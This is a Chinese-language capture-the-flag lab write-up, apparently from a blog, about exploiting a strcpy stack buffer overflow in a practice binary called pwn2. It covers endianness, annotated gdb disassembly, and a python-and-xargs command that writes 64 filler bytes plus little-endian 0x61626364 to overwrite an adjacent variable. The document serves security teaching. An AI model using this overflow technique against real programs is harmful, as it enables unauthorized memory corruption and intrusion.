CTF | PWN練習之精確覆蓋變量數據

預備知識:

1、命令行參數

C語言的main函數擁有兩個參數,爲int類型的argc參數,以及char**類型argv參數。其中argc參數的值表示命令行參數的個數,而argv則指向一個字符串數組,該數組存儲了具體的命令行參數的內容。程序本身的名字爲命令行的第一個參數。

2、xargs命令

Linux的xargs命令可以將輸入數據當做命令行參數傳給指定的程序。

3、字節序

字節順序,又稱端序或尾序(Endianness)。對於內存中存儲的0x11223344這樣一個值,從低地址往高地址方向的每一個字節來看,其內容在內存裏的分佈可能爲0x11,0x22,0x33,0x44,也可能爲0x44,0x33,0x22,0x11.

 這涉及到兩種存儲規則:大端格式和小端格式。示意圖如下圖所示:

0x11223344中的最高的字節爲0x11,最低的字節爲0x44,小端格式是“高存高,低存低”的規律,即小端格式中,高位字節存儲於內存的高地址處,而低位字節存儲於內存的低地址處。

大端格式則爲“低存高,高存低”。

 Intel、AMD等系列的處理器都是小端格式的。

實驗描述:

    主機/home/test/2目錄下有一個pwn2程序,這個程序會對傳入的命令行參數進行處理,通過構造特定的命令行參數數據可以對程序發起溢出攻擊,成功會提示Congratulations, you pwned it.,失敗則會提示Please try again.的提示信息。

      請對pwn2程序進行逆向分析和調試,找到程序內部的漏洞,並構造特殊的命令行參數數據,使之輸出成功的提示信息。

實驗步驟:

1、源碼審計

使用cd /home/test/2切換到程序所在目錄,執行cat pwn2.c即可看到源代碼:

使用strcpy函數複製字符串時,並不會對目標緩衝區的長度進行檢查,當源字符串的長度超過目標緩衝區的長度時會引發緩衝區溢出。

當輸入的超長的命令行參數數據時,將會產生緩衝區溢出,數據覆蓋buffer後會繼續覆蓋modified變量。

2、使用gdb調試程序

 執行gdb pwn2對pwn2進行調試,並在gdb中執行disas main命令查看main函數的彙編:

main函數中的彙編代碼的解釋:

0x080482a0 <+0>:    push   %ebp

0x080482a1 <+1>:    mov    %esp,%ebp

0x080482a3 <+3>:    and    $0xfffffff0,%esp

; esp = esp - 0x60,即在棧上分配0x60)字節的空間

0x080482a6 <+6>:    sub    $0x60,%esp

; 判斷命令行參數的個數是否爲1

0x080482a9 <+9>:    cmpl   $0x1,0x8(%ebp)

0x080482ad <+13>:   jne    0x80482c7 <main+39>

0x080482af <+15>:   movl   $0x80b3dac,(%esp)

0x080482b6 <+22>:   call   0x80493c0 <puts>

0x080482bb <+27>:   movl   $0x1,(%esp)

0x080482c2 <+34>:   call   0x8048e90 <exit>

; 命令參數個數不是1,說明傳入了命令行參數

; modified變量位於esp + 0x5C處,將其初始化爲0

0x080482c7 <+39>:   movl   $0x0,0x5c(%esp)

; 通過ebp + 0xC獲取argv參數的值

0x080482cf <+47>:   mov    0xc(%ebp),%eax

; eax = eax + 4

0x080482d2 <+50>:   add    $0x4,%eax

; 取argv[1]的值

0x080482d5 <+53>:   mov    (%eax),%eax

; 將argv[1]作爲strcpy的第二個參數值

0x080482d7 <+55>:   mov    %eax,0x4(%esp)

; buffer位於esp + 0x1C處,buffer作爲strcpy的第一個參數值

0x080482db <+59>:   lea    0x1c(%esp),%eax

0x080482df <+63>:   mov    %eax,(%esp)

; 調用strcpy進行字符串複製

0x080482e2 <+66>:   call   0x80525b0 <strcpy>

; 判斷modified的值是否爲0x61626364

0x080482e7 <+71>:   cmpl   $0x61626364,0x5c(%esp)

; 不相等則跳轉並輸出失敗信息

0x080482ef <+79>:   jne    0x80482ff <main+95>

; 輸出成功提示信息

0x080482f1 <+81>:   movl   $0x80b3dc8,(%esp)

0x080482f8 <+88>:   call   0x80493c0 <puts>

0x080482fd <+93>:   jmp    0x8048314 <main+116>

0x080482ff <+95>:   mov    $0x80b3de8,%eax

0x08048304 <+100>:  mov    0x5c(%esp),%edx

0x08048308 <+104>:  mov    %edx,0x4(%esp)

0x0804830c <+108>:  mov    %eax,(%esp)

0x0804830f <+111>:  call   0x8049390 <printf>

0x08048314 <+116>:  mov    $0x0,%eax

0x08048319 <+121>:  leave

0x0804831a <+122>:  ret

對上面代碼的分析可知,buffer位於esp+0x1C處,modified位於esp+0x5C,兩個地址的距離爲0x5C-0x1C=0x40即64,剛好爲爲buffer數組的大小。當輸入的數據超過64字節時,modified變量就可以被覆蓋,但需要控制modified變量的值還需小心地構造命令行參數。

在gdb驗證,輸入:b * 0x080482e7命令對strcpy的下一條指令下一個斷點,並輸入命令r,空一格輸入64個A和1234(r命令後加上空格可以接一個命令行參數,用於傳遞給被調試的程序。)

 在gdb中輸入x $esp+0x5C,查看modified變量的值已經被修改成了0x34333231,而0x31爲字符’1’的ASCII值,0x32爲字符’2’的ASCII值,0x33爲字符’3’的ASCII值,0x34爲字符’4’的ASCII值:

 使用x /4xb $esp+0x5C命令,以字節爲單位查看內存中0x34333231的表示(其中/4xb用於控制輸出格式,4表示4個長度單位,x表示以16進制方式顯示,b表示單位爲字節):

modified變量的值已經被修改成0x34333231了,結合輸入數據‘A….A1234’,1234爲低地址往高地址方向,可以判斷這是小端格式的表示法。

 在gdb中輸入c命令就可以讓程序繼續執行,看到輸出了錯誤的提示信息:

現在合理控制命令行參數的第65~68字節的內容,就可以成功發起溢出攻擊了。

3、發起溢出攻擊

目標機器採用小端格式存儲數據,而if語句分支要求modified的值爲0x61626364時才通過判斷,因此構造的數據應該爲\x64\x63\x62\x61。

退出gdb,用python語句構造輸入數據,然後通過xargs傳給pwn2程序,執行命令:python -c "print 'A'*64+'\x64\x63\x62\x61'" | xargs ./pwn2

 

成功發起了溢出攻擊,

實驗總結:

1、strcpy()函數是C語言中的一個複製字符串的庫函數。

2、對於函數調用還不太明白,不理解爲什麼在main函數中可以通過[ebp+0x8]來取得argc的值。在接下來學習中補上疑惑。

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章